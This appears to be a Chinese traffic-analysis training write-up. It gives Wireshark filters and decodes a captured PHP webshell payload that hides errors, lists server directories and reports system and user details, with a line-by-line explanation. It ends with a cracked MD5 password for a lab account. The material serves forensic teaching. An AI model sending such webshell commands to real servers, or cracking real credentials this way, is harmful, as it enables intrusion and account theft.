流量分析 - 流量分析训练题

http.request.method==POST

http.request.method==POST and http contains "rec=login" and ip.addr == 192.168.94.59

http.request.method==POST and ip.addr == 192.168.94.59

QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7&z1=L3Zhci93d3cvaHRtbC9pbWFnZXMvYXJ0aWNsZQ%3D%3Durl 解码QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==base64 解码@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

代码功能解析关闭错误显示：@ini_set("display_errors", "0");  // 隐藏所有PHP错误信息@set_time_limit(0);              // 解除脚本执行时间限制（允许长时间攻击）攻击者通过抑制错误提示，避免暴露自身操作。接收外部参数：$D = base64_decode($_POST["z1"]); // 解码POST参数z1（需传入Base64编码的目录路径）攻击者通过POST请求传入 z1 参数（如 z1=L3Zhci93d3cvaHRtbA== 解码为 /var/www/html）。遍历目录：$F = @opendir($D);  // 尝试打开指定目录while ($N = @readdir($F)) {  // 遍历目录中的文件和子目录    $P = $D . "/" . $N;      // 拼接完整文件路径    $T = @date("Y-m-d H:i:s", @filemtime($P)); // 获取文件修改时间    $E = substr(base_convert(@fileperms($P), 10, 8), -4); // 获取文件权限（八进制格式）    $R = "t" . $T . "t" . @filesize($P) . "t" . $E . "n"; // 格式化输出信息代码会递归读取目录下的所有文件/子目录，并收集以下信息：文件名、修改时间、文件大小、权限（如 0755）。输出结果：echo $M . $L;  // 输出所有目录和文件信息echo("|<-");   // 标记结束符

http contains "robots.txt"

http contains "database"

mysql contains "hash_code"

ijnu@test.com/ b78f5aa6e1606f07def6e839121a22ecmd5 解密ijnu@test.com/ edc123!@#